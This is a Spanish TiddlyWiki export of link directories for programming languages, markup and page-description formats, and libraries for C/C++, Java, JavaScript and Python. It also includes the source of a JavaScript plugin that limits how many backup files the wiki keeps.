Estos lenguajes describen como formatear correctamente los datos de una página para su correcta visualización. Pueden estar pensados para la representación sobre papel impreso (formato para impresoras) o para ser mostrado por pantalla.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Lenguaje_de_descripci%C3%B3n_de_p%C3%A1ginas

!! PostScript (PS)
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/PostScript
* Especificación del formato: http://www.adobe.com/products/postscript/pdfs/PLRM.pdf
* Thinking in PostScript: http://amath.colorado.edu/documentation/postscript/ThinkingInPostScript.pdf
* Visor de GhostScript (subconjunto de PostScript): http://pages.cs.wisc.edu/~ghost/

!! Encapsulated PostScript (EPS):
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/PostScript_encapsulado
* Especificación del formato: http://partners.adobe.com/public/developer/en/ps/5002.EPSF_Spec.pdf

!! Portable Document Format (PDF):
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/PDF
* Estándar ISO: http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=38920
* PS y EPS contra PDF: http://www.adobe.com/print/features/psvspdf/index.html
* Visor oficial Adobe Reader: http://get.adobe.com/es/reader/
* Visor gratuito Foxit Reader: http://www.foxitsoftware.com/pdf/reader/addons.php

!! Printer Command Languaje (PCL)
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/PCL
* Visor de PCL: http://www.ghostscript.com/GhostPCL.html

!! Device independent file format (DVI)
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/DVI_file_format
* Visor DVIWIN: http://dviwin.keystone.gr/

!! Scalable Vector Graphics (SVG)
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Scalable_Vector_Graphics
* Página oficial del W3C: http://www.w3.org/Graphics/SVG/
* Editor Inkscape: http://inkscape.org/?lang=es

!! Graphics Device Interface (GDI)
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/GDI
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Lenguajes que no son estrictamente de programación si no que son más bien de marcado o estructuración, aunque pueden tener componentes editables.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Lenguajes de marcado en la Wikipedia: http://es.wikipedia.org/wiki/Lenguaje_de_marcado
** Listado de lenguajes de marcado ligeros: http://en.wikipedia.org/wiki/List_of_lightweight_markup_languages
** Listado de lenguajes de serialización de datos: http://en.wikipedia.org/wiki/Comparison_of_data_serialization_formats#Syntax_comparison_of_human-readable_formats

* ''Editores online:''
** HTML Instant: http://www.htmlinstant.com/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Lenguajes de programación de todo tipo, incluyendo algunos lenguajes de marcado que obviamente no son lenguajes de programación, como el HTML
</part>
! Enlaces
<part enlaces>
!! Información general
* Artículo de la wikipedia: http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n
* Historia de los lenguajes: http://www.levenez.com/lang/
* Clasificación de los lenguajes de programación: http://www.alegsaonline.com/art/13.php
* Listado de lenguajes (¡enorme!): http://people.ku.edu/~nkinners/LangList/Extras/langlist.htm
* Guía de distintos lenguajes de programación: http://groups.engin.umd.umich.edu/CIS/course.des/cis400/index.html
* Programming Paradigm for Dummies: http://www.info.ucl.ac.be/~pvr/VanRoyChapter.pdf
* Una historia de los lenguajes de programación: http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html

!! Tutoriales y cursos de lenguajes de programación
* Tutoriales de programación: http://www.dev-hq.net/
* Aprenda X como si estuviera en primero: http://www.tecnun.es/recursos/labmat0.html
* Tutoriales diversos en español: http://www.chuidiang.com/chuwiki/index.php?title=Portada

!! Guías rápidas para diversos lenguajes
* Quick Reference Cards: http://www.digilife.be/quickreferences/quickrefs.htm
* The Developer Cheat Sheet Compilation: http://www.bookmarkbliss.com/programming/the-developer-cheat-sheet-compilation/

!! Recetas y fragmentos de código
* Ejemplos y recetas para múltiples lenguajes: http://www.java2s.com/
* Hola mundo en múltiples lenguajes: http://www.roesler-ac.de/wolfram/hello.htm

!! Recursos y herramientas para el programador
* Programmer's Heaven: http://www.programmersheaven.com/

!! Utilidades
* Codepad: http://codepad.org/
* Ideone: http://www.ideone.com/
* Bespin: https://bespin.mozillalabs.com/
* """CodeRun""": http://www.coderun.com/ide/
* Shift Edit: http://shiftedit.net/home
* Online Java Compiler: http://www.browxy.com:9000/codeRunner
* C Eclipse: http://ceclipse.seforge.org/n1/
* Cloud9: http://cloud9ide.com/dashboard.html
* Hive IDE: http://ide.hivext.com/
* eXorithm: http://www.exorithm.com/

!! Lenguajes
Se han dividido los lenguajes por sus paradigmas principales. Algunos tiene 2 o más paradigmas principales, por lo que aparecen varias veces en el listado, por ejemplo Python o C++.

!!! Imperativo
!!!! AWK
* Documentación: Sección sobre [[AWK]]
!!!! Bash
* Documentación: Sección sobre [[Bash]]
!!!! Batch (ficheros .bat de MS-DOS)
* Documentación: Sección sobre [[Batch (.bat)|Batch]]
!!!! C
* Documentación: Sección sobre [[C]]
!!!! C++
* Documentación: Sección sobre [[C++]]
!!!! Ensamblador
* Documentación: Sección sobre [[Ensamblador]]
!!!! Python
* Documentación: Sección sobre [[Python]]

!!! Orientado a objetos
https://es.wikipedia.org/wiki/Programaci%C3%B3n_orientada_a_objetos
!!!! C++
* Documentación: Sección sobre [[C++]]
!!!! C#
* Documentación: Sección sobre [[CSharp]]
!!!! Java
* Documentación: Sección sobre [[Java]]
!!!! Python
* Documentación: Sección sobre [[Python]]

!!! Funcional
https://es.wikipedia.org/wiki/Paradigma_funcional
!!!! APL
* Artículo en la wikipedia: https://en.wikipedia.org/wiki/APL_%28programming_language%29
* APL wiki: http://aplwiki.com/
!!!! LISP
* Artículo en la wikipedia: https://es.wikipedia.org/wiki/Lisp
* Documentación: http://landoflisp.com/
!!!! Haskell
* Documentación: Sección sobre [[Haskell]]
!!!! J
* Documentación: Sección sobre [[J]]
* Artículo en la wikipedia: https://en.wikipedia.org/wiki/J_%28programming_language%29
* Sitio de referencia: http://www.jsoftware.com/start.htm

!! Misc
* Aventura conversacional sobre Scheme: http://barrapunto.com/article.pl?sid=10/10/13/0756214

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name:|LessBackupsPlugin|
|Description:|Intelligently limit the number of backup files you create|
|Version:|3.0.1 ($Rev: 2320 $)|
|Date:|$Date: 2007-06-18 22:37:46 +1000 (Mon, 18 Jun 2007) $|
|Source:|http://mptw.tiddlyspot.com/#LessBackupsPlugin|
|Author:|Simon Baird|
|Email:|simon.baird@gmail.com|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Description
You end up with just backup one per year, per month, per weekday, per hour, minute, and second.  So total number won't exceed about 200 or so. Can be reduced by commenting out the seconds/minutes/hours line from modes array
!!Notes
Works in IE and Firefox only.  Algorithm by Daniel Baird. IE specific code by by Saq Imtiaz.
***/
//{{{

var MINS  = 60 * 1000;
var HOURS = 60 * MINS;
var DAYS  = 24 * HOURS;

if (!config.lessBackups) {
	config.lessBackups = {
		// comment out the ones you don't want or set config.lessBackups.modes in your 'tweaks' plugin
		modes: [
			["YYYY",  365*DAYS], // one per year for ever
			["MMM",   31*DAYS],  // one per month
			["ddd",   7*DAYS],   // one per weekday
			//["d0DD",  1*DAYS],   // one per day of month
			["h0hh",  24*HOURS], // one per hour
			["m0mm",  1*HOURS],  // one per minute
			["s0ss",  1*MINS],   // one per second
			["latest",0]         // always keep last version. (leave this).
		]
	};
}

window.getSpecialBackupPath = function(backupPath) {

	var now = new Date();

	var modes = config.lessBackups.modes;

	for (var i=0;i<modes.length;i++) {

		// the filename we will try
		var specialBackupPath = backupPath.replace(/(\.)([0-9]+\.[0-9]+)(\.html)$/,
				'$1'+now.formatString(modes[i][0]).toLowerCase()+'$3')

		// open the file
		try {
			if (config.browser.isIE) {
				var fsobject = new ActiveXObject("Scripting.FileSystemObject")
				var fileExists  = fsobject.FileExists(specialBackupPath);
				if (fileExists) {
					var fileObject = fsobject.GetFile(specialBackupPath);
					var modDate = new Date(fileObject.DateLastModified).valueOf();
				}
			}
			else {
				netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
				var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
				file.initWithPath(specialBackupPath);
				var fileExists = file.exists();
				if (fileExists) {
					var modDate = file.lastModifiedTime;
				}
			}
		}
		catch(e) {
			// give up
			return backupPath;
		}

		// expiry is used to tell if it's an 'old' one. Eg, if the month is June and there is a
		// June file on disk that's more than an month old then it must be stale so overwrite
		// note that "latest" should be always written because the expiration period is zero (see above)
		var expiry = new Date(modDate + modes[i][1]);
		if (!fileExists || now > expiry)
			return specialBackupPath;
	}
}

// hijack the core function
window.getBackupPath_mptw_orig = window.getBackupPath;
window.getBackupPath = function(localPath) {
	return getSpecialBackupPath(getBackupPath_mptw_orig(localPath));
}

//}}}
<<showtoc>>
! Descripción
<part descripcion>
Librerías para [[C]] y [[C++]]
</part>
! Enlaces
<part enlaces>
!! Generales
* GNU Standard C++: http://gcc.gnu.org/libstdc++/
* Safe C Library: http://www.ddj.com/article/printableArticle.jhtml;jsessionid=1PBAFHXGFGRZRQE1GHOSKH4ATMY32JVN?articleID=214502214&dept_url=/cpp/
* STL de Electronic Arts: http://github.com/paulhodge/EASTL
* RDE STL, subconjunto STL adaptado a juegos: http://code.google.com/p/rdestl/
* POCO: http://pocoproject.org/
* Boost [[C++]]: http://www.boost.org/
** Libro tutorial: http://en.highscore.de/cpp/boost/

!! Matemáticas y ciencias
* Safe Math Library: http://www.ddj.com/article/printableArticle.jhtml?articleID=216401077&dept_url=/cpp/

!! Ficheros
!!! Lenguajes de marcado y configuración
* LibYAML: http://pyyaml.org/wiki/LibYAML
* yaml-cpp: http://code.google.com/p/yaml-cpp/

!!! Formatos de ficheros
* Outside In (múltiples formatos de ficheros): http://www.oracle.com/technetwork/middleware/content-management/oit-all-085236.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Librerías de programación para el lenguaje [[Java]].
</part>
! Enlaces
<part enlaces>
!! Lenguajes de marcado
* XStream: http://xstream.codehaus.org/
* Apache FOP (XML-FO): http://projects.apache.org/projects/fop.html
* Xerces 2: http://xerces.apache.org/xerces2-j/
* JYaml: http://jyaml.sourceforge.net/
* Snake YAML: http://code.google.com/p/snakeyaml/
* google-gson (JSON): http://code.google.com/p/google-gson/
** Ejemplo de GSON: http://blog.caplin.com/2011/01/06/simple-currency-conversion-using-google-calculator-and-java/

!! Librerías matemáticas
* EJML(trabajo con matrices): http://code.google.com/p/efficient-java-matrix-library/

!! Gráficos y física 2D y 3D
* JRayTrace: http://sourceforge.net/projects/jraytrace/
* Java 3D: https://java3d.dev.java.net/
* JBox 2D: http://jbox2d.org/
* Barbecue bar code generator: http://barbecue.sourceforge.net/
* jreality, 3D en tiempo real: http://www3.math.tu-berlin.de/jreality/index.php
* jgrial, gráficas de datos en 2D y 3D: http://sourceforge.net/projects/jgrial/

!! Imágenes y vídeo
* Marvin Image Processing Framework: http://marvinproject.sourceforge.net/en/index.html

!! Informes y documentos
* RTF Template (con Velocity): http://rtftemplate.sourceforge.net/

!! APIs de páginas web
* Google Wave: http://code.google.com/intl/es-ES/apis/wave/extensions/robots/java-tutorial.html

!! Apache Commons
* Math (estadística, cálculo y álgebra lineal): http://commons.apache.org/math/index.html
* Bean Utils (introspección de beans): http://commons.apache.org/beanutils/
* Collections (colecciones de objetos): http://commons.apache.org/collections/
* Codec (conversión entre formatos): http://commons.apache.org/codec/
* Configuration (gestión de archivos de configuración): http://commons.apache.org/configuration/
* Digester (genera objetos a partir de XML): http://commons.apache.org/digester/
* DB Utils (utilidades para JDBC): http://commons.apache.org/dbutils/
* Discovery (localiza e instancia clases que usan una interfaz): http://commons.apache.org/discovery/
* EL (intérprete de Expression Language de JSTL): http://commons.apache.org/el/
* Email (herramientas para enviar emails): http://commons.apache.org/email/
* Exec (permite ejecutar procesos y manejar el entorno de ejecución): http://commons.apache.org/exec/
* File Upload (permite que el servidor reciba ficheros): http://commons.apache.org/fileupload/
* IO (entrada/salida avanzada): http://commons.apache.org/io/
* JCI (Java Compiler Interface): http://commons.apache.org/jci/
* Lang (utilidades y mejoras para las clases básicas): http://commons.apache.org/lang/
* Launcher (utilidades para ejecutar aplicaciones externas): http://commons.apache.org/launcher/
* Logging (operaciones de log y registro): http://commons.apache.org/logging/
* Net (manejo de protocolos de internet): http://commons.apache.org/net/
* Pool (manejo y gestión de pooles de objetos): http://commons.apache.org/pool/
* Primitives (utilidades para el manejo de tipos primitivos): http://commons.apache.org/primitives/
* Proxy (implementación del patrón proxy): http://commons.apache.org/proxy/
* Sanselan (manejo y manipulación de imágenes): http://commons.apache.org/sanselan/
* Transaction (implementación de operaciones transaccionales): http://commons.apache.org/transaction/
* Validator (permite definir reglas de validación): http://commons.apache.org/validator/
* VFS (sistema de ficheros virtual): http://commons.apache.org/vfs/

!! Apache HTTP Components
* HTTP Client: http://hc.apache.org/httpcomponents-client/index.html
* HTTP Client Tutorial: http://www.javahispano.org/contenidos/es/tutorial_sobre_httpclient_por_fabio_haider_de_sap/
* HTTP Core: http://hc.apache.org/httpcomponents-core/index.html

!! Ofimática
* ~JExcelApi: http://jexcelapi.sourceforge.net/
* Apache POI: http://poi.apache.org/spreadsheet/index.html

!! Acceso a bases de datos
* Hibernate, página principal: https://www.hibernate.org/
* Hibernate, manual en español: http://www.davidmarco.es/tutoriales/hibernate-reference/

!! Frameworks web
* Página principal de Spring Source: http://www.springsource.com/
* Tutorial de Spring MVC: http://davidmarco.es/tutoriales/spring-mvc-sbs/
* Artículo sobre Spring Security: http://federicojcdm.wordpress.com/2010/03/23/un-recorrido-por-spring-security-3-0/
* Libro sobre GAE y Java: http://gaejexperiments.wordpress.com/gaej-experiments-ebook/

!! Servicios web
* Apache AXIS: http://ws.apache.org/axis/

!! Monitorización
* Java Melody: http://code.google.com/p/javamelody/

!! Redes y comunicaciones
* JT API: http://adictosaltrabajo.com/tutoriales/tutoriales.php?pagina=jtapi
* XNIO, NIO avanzado: http://www.jboss.org/xnio
* Cliente Jabber/XMPP: http://jeti.sourceforge.net/

!! Lenguajes y expresiones regulares
* ANTLR: http://www.antlr.org/

!! GUIs
* Viewa Framework, MVC para swing: http://www.viewaframework.org/index.html
* SWT: http://www.eclipse.org/swt/
* JFace: http://wiki.eclipse.org/index.php/JFace

!! [[TPV]]s
* jPOS: http://jpos.org

!! Multimedia
* Java Media [[API]]s: http://java.sun.com/javase/technologies/desktop/media/
* Java Advanced Imaging (JAI): http://java.sun.com/javase/technologies/desktop/media/jai/
* Java Image I/O: http://download.oracle.com/javase/6/docs/technotes/guides/imageio/index.html
* Java Media Framework (JMF): http://www.oracle.com/technetwork/java/javase/tech/index-jsp-140239.html
* Marvin Framework: http://marvinproject.sourceforge.net/en/index.html


!! Otras
* SprintBatch tutorial: http://www.dosideas.com/cursos/course/view.php?id=7
* Pivot, aplicaciones RIA para Java: http://pivot.apache.org/
* Joda time: http://www.mendozajug.com.ar/sitio/index.php/component/content/article/36-java-se/46-joda-time-api.html
* """Date4J""", similar a Joda Time: http://www.date4j.net/
* JSP File Browser: http://www.vonloesch.de/jspbrowser.html
* OWASP Enterprise Security API: http://www.owasp.org/index.php/ESAPI
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Descripcion de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Utilidades para la web
* Repositorio de librerías comunes: http://cachedcommons.org/
* Sizzle JS (selector de CSS): http://sizzlejs.com/

!!! jQuery
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/JQuery
* Página principal de JQuery: http://jquery.com/
* tutoriales: http://docs.jquery.com/Tutorials
* JQuery 1.4: http://code.jquery.com/jquery-1.4.min.js
* Plugin JQuery para hacer tablas con columna fija: http://www.dotnetoutsource.com/Download/jQuery_FixedTable/JQuery_FixedTable.aspx
* Tutorial rápido de mundogeek: http://mundogeek.net/archivos/2010/04/21/tutorial-rapido-de-jquery/

!! Gráficos y animaciones
* [[Processing JS|Processing]]: http://processingjs.org
* [[Raphael SVG|RaphaelPlugin]]: http://raphaeljs.com/reference.html
* box2D-js: http://box2d-js.sourceforge.net/index2.html
* Protovis, visualización de gráficas: http://vis.stanford.edu/protovis/ex/

!! Ciencia e ingeniería
* [[JsMath|Plugin: jsMath]]: http://www.math.union.edu/~dpvc/jsMath/download/jsMath.html
* [[ASCIISvg|MathSVGPlugin]]: http://www1.chapman.edu/~jipsen/svg/asciisvg.html
* [[ASCIIMathML|MathSVGPlugin]]: http://www1.chapman.edu/~jipsen/mathml/asciimath.html

!! Formateado de texto y editores WYSIWYG
* Syntax Highlighter: http://alexgorbatchev.com/wiki/SyntaxHighlighter
* CKEditor: http://ckeditor.com/

!! Motores para juegos
* Extenso listado de motores: https://github.com/bebraw/jswiki/wiki/List-of-JS-Game-Engines-and-Related-Tech
* Akihabara: http://www.kesiev.com/akihabara/
* Game Sout JS: http://mccormick.cx/projects/jsGameSoup/
* Impact JS: http://impactjs.org/
* Motor 3D Copperlicht: http://www.ambiera.com/copperlicht/index.html

!! WebSQL
* Definición de Web SQL: http://dev.w3.org/html5/webdatabase/
* ORM-html5: http://code.google.com/p/orm-html5/

!! Server side
* Node.js, un servidor web en Javascript: http://nodejs.org/
** Tutorial de Node.js: http://www.genbetadev.com/frameworks/introduccion-a-la-programacion-asincrona-con-nodejs
* Envjs, simulador de browser: http://www.envjs.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! [[Java|LibreríasJava]]
<<slider chkJava LibreríasJava/enlaces java "ver Java">>
! [[Python|LibreríasPython]]
<<slider chkPython LibreríasPython/enlaces Python "ver Python">>
! [[JavaScript|LibreríasJavaScript]]
<<slider chkJS LibreríasJavaScript/enlaces JavaScript "ver JavaScript">>
! [[C y C++|LibreríasC]]
<<slider chkC LibreríasC/enlaces "C y C++" "ver C">>
<<showtoc>>
! Descripción
<part descripcion>
Librerías de programación para el lenguaje Python.
</part>
! Enlaces
<part enlaces>
!! Colecciones de librerías
* Listado de librerías básicas: http://docs.python.org/library/index.html
* Otro listado: http://vermeulen.ca/python-language-libraries.html
* Python Package Index: http://pypi.python.org/
* Core Security Libraries: http://oss.coresecurity.com/
* Python Extension Packages (librerías compiladas para 32 y 64 bits): http://www.lfd.uci.edu/~gohlke/pythonlibs

!! ORM y persistencia en base de datos
* Entrada en Stack Overflow: http://stackoverflow.com/questions/53428/what-are-some-good-python-orm-solutions
* SQL Alchemy: http://www.sqlalchemy.org/
* Elixir (capa sobre SQL Alchemy): http://elixir.ematia.de/trac/wiki
* django DB: http://docs.djangoproject.com/en/1.1/topics/db/models/
* django nonrel: http://www.allbuttonspressed.com/projects/django-nonrel
** Introducción y documentación: http://www.allbuttonspressed.com/projects/django-nonrel
** Uso con GAE: http://www.allbuttonspressed.com/projects/djangoappengine
* Dejavu: http://www.aminus.net/dejavu
* SQL Object: http://www.sqlobject.org/
* Autumn: http://autumn-orm.org/
* Storm: https://storm.canonical.com/
* XRecord: http://coobs.eu.org/xrecord/

!! Utilidades
* Docutils: http://docutils.sourceforge.net/
* python-dateutil: http://labix.org/python-dateutil
* mxDateTime: http://www.egenix.com/products/python/mxBase/mxDateTime/
* cx_Freeze: http://cx-freeze.sourceforge.net/
* inlineEgg (inline assembler code): http://oss.coresecurity.com/projects/inlineegg.html
* Plugins fáciles con Sprinkles: http://pypi.python.org/pypi/sprinkles/0.4.6
* Distribute, el reemplazo de Setuptools: http://packages.python.org/distribute/
* Interactive Python: http://ipython.scipy.org/doc/stable/html/overview.html
* Stackless Python, threads ligeros en Python: http://www.stackless.com/

!! Redes
* Scapy: http://www.secdev.org/projects/scapy/
* pycap:http://pycap.sourceforge.net/
* pcapy: http://oss.coresecurity.com/projects/pcapy.html
* TwistedPython: http://twistedmatrix.com/trac/
** Tutorial de Twisted Python: http://www.genbetadev.com/frameworks/introduccion-a-la-programacion-asincrona-con-twisted
* Proxy reductor de velocidad: http://web.archive.org/web/20080122061448/http://svn.browsershots.org/trunk/throxy/throxy.py
* Buscador de subdominios de una IP: http://tools.pentester.es/websearch

!!! XMPP
* Listado para varios lenguajes: http://xmpp.org/xmpp-software/libraries/
* xmpp.py: http://xmpppy.sourceforge.net/
* pyxmpp2: https://github.com/Jajcus/pyxmpp2
* """SleekXMPPP""": https://github.com/fritzy/SleekXMPP/wiki
* headstock: https://github.com/Lawouach/headstock

!! Clientes web
* html5lig parseador HTML resistente a documentos inválidos: http://code.google.com/p/html5lib/
* Mechanize: http://wwwsearch.sourceforge.net/mechanize/
* Mechanoid: http://pypi.python.org/pypi/mechanoid

!! GUIs
* Enlaces varios: http://vermeulen.ca/python-gui.html
* Enlaces varios: http://wiki.python.org/moin/GuiProgramming
* Enlaces varios: http://www.python.org/doc/faq/gui/
* Python Mega Widgets: http://pmw.sourceforge.net/
* wxPython: http://wxpython.org/tut-part1.php
* Tutorial de pyGTK2: http://www.pygtk.org/pygtk2tutorial/index.html
* Tutorial pyQT: http://www.commandprompt.com/community/pyqt/
* Tkzinc: http://www.tkzinc.org/tkzinc/index.php
* Wax: http://sourceforge.net/projects/waxgui/
* PyGUI: http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/
* FxPy: http://fxpy.sourceforge.net/
* TnFOX: http://www.nedprod.com/TnFOX/
* PyFLTK: http://pyfltk.sourceforge.net/
* uxPython: http://www.uxpython.com/
* Nufox: http://nufox.berlios.de/
* PicoGUI: http://picogui.org/
* PyUI: http://pyui.sourceforge.net/
* Dabo: http://dabodev.com/
* Pyjamas: http://code.google.com/p/pyjamas/
* PySWT: http://www.cs.nyu.edu/zilin/pyswt/pmwiki.php?n=PySWT.Introduction
* EasyGUI: http://easygui.sourceforge.net/
* PAGE: http://page.sourceforge.net/
* kivy: http://kivy.org/docs/
* Tix: http://tix.sourceforge.net/man/html/contents.htm

!!! WxPython
* The """WxPython Tutorial""": http://zetcode.com/wxpython/
* Advanced Generic Widgets: http://xoomer.virgilio.it/infinity77/AGW_Docs/
* Documentación alternativa: http://xoomer.virgilio.it/infinity77/wxPython/APIMain.html
* Widget Inspection Tool: http://wiki.wxpython.org/Widget%20Inspection%20Tool

!! Lenguajes, configuración y scripting
* Natural Language Tool Kit (NLTK): http://www.nltk.org/
* Python Lex-Yacc: http://www.dabeaz.com/ply/

!! Gráficos 2D y 3D
* Enlaces varios: http://vermeulen.ca/python-graphics.html
* Image Processing in Python: http://vermeulen.ca/python-image.html
* GEGL extensions for Python: http://gegl.org/pygegl/
* PyOpenGL: http://pyopengl.sourceforge.net/
* VPython: http://vpython.org/
* """NodeBox for OpenGL""": http://www.cityinabottle.org/nodebox/
* API de POV-Ray para Python: http://code.activestate.com/recipes/205451-povray-for-python/

!! Visualización de datos, cartografía y GIS
* ~GeoBases: http://opentraveldata.github.com/geobases/

!! Motores de juegos
* Motor Ogre para Python: http://python-ogre.org/
** IberObre, Obre en español: http://osl2.uca.es/iberogre/index.php/P%C3%A1gina_Principal
* Enlaces varios: http://codeboje.de/2d-game-engines-python/
* PyGame: http://www.pygame.org/
* Pyglet: http://www.pyglet.org/
* Python PopCap: http://www.farbs.org/pycap.html
* Ika RPG game engine: http://ika.sourceforge.net/articles.php?view=26
* Sprite Craft: http://alexey.sudachen.com/freeware.shtml
* FIFE: http://wiki.fifengine.de/
* Cocos 2D: http://cocos2d.org/
* Panda3D: http://www.panda3d.org/

!! Visión por computador
* "Python and Computer Vision": http://www.python.org/workshops/2002-02/papers/05/index.htm
* PyCV: http://www3.ntu.edu.sg/home5/pham0004/pycv/
* ctypes OpenCV: http://code.google.com/p/ctypes-opencv/
* Pyro Python Robotics (CV module): http://pyrorobotics.org/?page=PyroModuleComputerVision
* PyFaces: http://code.google.com/p/pyfaces/

!! Simuladores física
* Enlaces varios: http://wiki.laptop.org/go/Python_Physics
* Simulador de física 2D //"Elements"//: http://elements.linuxuser.at/
* Simulador de física 2D //"PyBox 2D"//: http://code.google.com/p/pybox2d/
* Simulador de física 2D //"PyMunk"//: http://code.google.com/p/pymunk/

!! Ciencias
* Python Open Dynamics Engine: http://pyode.sourceforge.net/
* SciPy: http://www.scipy.org
* """Scikits""", módulos específicos para SciPy: http://scikits.appspot.com/scikits
* NumPy: http://numpy.scipy.org/
* Bio Python: http://biopython.org/wiki/Main_Page
* """PyEphem""", cálculos astronómicos: http://rhodesmill.org/pyephem/
* """PyFITS""", acceso a ficheros en formato astronómico: http://www.stsci.edu/resources/software_hardware/pyfits/
* Spyder, sustituto de Matlab: http://packages.python.org/spyder/
* SAGE, conjunto de paquetes python para ciencias: http://www.sagemath.org/tour-quickstart.html
* """PyGene""", algoritmos genéticos: http://www.freenet.org.nz/python/pygene/
* """SymPy""": http://scipy.org/
** Documentación: http://docs.scipy.org/doc/scipy/reference/index.html
** Tutorial de cálculo diferencial: http://pybonacci.wordpress.com/2012/04/30/como-calcular-limites-derivadas-series-e-integrales-en-python-con-sympy/

!! Hardware y robótica
* Pyro, python para robots: http://pyrorobotics.org/?page=Pyro

!! Plotters
* Chaco 2D plotter: http://code.enthought.com/projects/chaco/
* matplotlib 2D plotter: http://matplotlib.sourceforge.net/
* """MayaVi""" Data Visualizer: http://mayavi.sourceforge.net/

!! APIs de páginas web
* Google Wave Robots: http://code.google.com/intl/es-ES/apis/wave/extensions/robots/python-tutorial.html
* Google App Engine (GAE): http://code.google.com/intl/es/appengine/docs/python/overview.html
** GAE Webapp framework: http://code.google.com/intl/es/appengine/docs/python/tools/webapp/
** GAE django helper: http://code.google.com/p/google-app-engine-django/
** WebOb Reference: http://pythonpaste.org/webob/reference.html
* APIs para Python de servicios de Google: http://www.catonmat.net/blog/python-library-for-google-translate/
* APIs para Google Calendar: http://code.google.com/intl/es-ES/apis/calendar/data/1.0/developers_guide_python.html
* APIs para Wikidot: http://www.wikidot.com/doc:api
* Motor de búsqueda [[Shodan|http://www.shodanhq.com]]: http://github.com/achillean/shodan-python
* Cliente de """GeoIP""": http://code.google.com/p/pygeoip/

!! APIs de aplicaciones
* Pytify, bindings para [[Spotify|http://spotify.com/]]: http://code.google.com/p/pytify/
* Visor VNC: http://code.google.com/p/python-vnc-viewer/

!! Análisis de datos (data mining)
* Picalo: http://www.picalo.org/

!! Lectura de ficheros y formatos
* python-excel: http://www.python-excel.org/
* PyYAML: http://pyyaml.org/
* Sistema de ficheros virtual con PyFilesystem: http://www.willmcgugan.com/blog/tech/2011/3/20/creating-a-virtual-filesystem-with-python-and-why-you-need-one/

!! Acceso a bases de datos
* Acceso a [[OracleDatabase]]: http://cx-oracle.sourceforge.net/

!! Enterprise y aplicaciones web
!!! General
* Python Web Frameworks en la python.org: http://wiki.python.org/moin/WebFrameworks
!!! PEAK
* Python Enterprise Application Kit (PEAK): http://peak.telecommunity.com
!!! web.py
* Página principal: http://webpy.org/
* Tutorial: http://webpy.org/tutorial3.en
* Documentación: http://webpy.org/docs/0.3
!!! django
* Página principal: http://www.djangoproject.com/
* Libro: http://www.djangobook.com
!!! Pylons
* Página principal: http://pylonshq.com/
* Documentación: http://pylonshq.com/docs/en/0.9.7/
!!! Zope
* Página prncipal: http://www.zope.org/
* Libro: http://docs.zope.org/zope2/zope2book/
!!! Turbo Gears
* Página principal: http://turbogears.org/
* Documentación: http://www.turbogears.org/2.0/docs/
!!! Bottle
* Página principal: http://bottle.paws.de/docs/dev/index.html
* Tutorial: http://bottle.paws.de/docs/dev/tutorial.html
* Documentación: http://bottle.paws.de/docs/dev/index.html#user-s-guide
* API: http://bottle.paws.de/docs/dev/api.html

!! C y ASM
* Pyasm: http://codeflow.org/entries/2009/jul/31/pyasm-python-x86-assembler/

!! Miscelánea
* Py Sandbox: http://github.com/haypo/pysandbox
* PyPS http://www.pugo.org/main/project_pyps/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Librerías esenciales^^[[<editar>|$1]]^^
Librerías esenciales o muy útiles:
* xmpppy: Jabber
* wxPython: wxWidgets para Python
* PyQt: Qt para Python
* SciPy: Python científico
* Scapy: Análisis de redes y manipulación de paquetes. Dependencias
** libdnet
** NumPy
* Spyder: Interfaz a lo Matlab para SciPy
!Descripción
<part descripcion>
Lenguaje de programación utilizado por el [[sistema operativo|SistemasOperativos]] llamado [[Inferno]]. Corre sobre una máquina virtual llamada [[dis|http://en.wikipedia.org/wiki/Dis_virtual_machine]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/List_of_Inferno_applications
** Introducción a Limbo: http://www.vitanuova.com/inferno/limbo.html
** Enlaces en Google Directory (antiguo DMOZ): http://www.google.com/Top/Computers/Programming/Languages/Limbo/

* ''Libros onlne:''
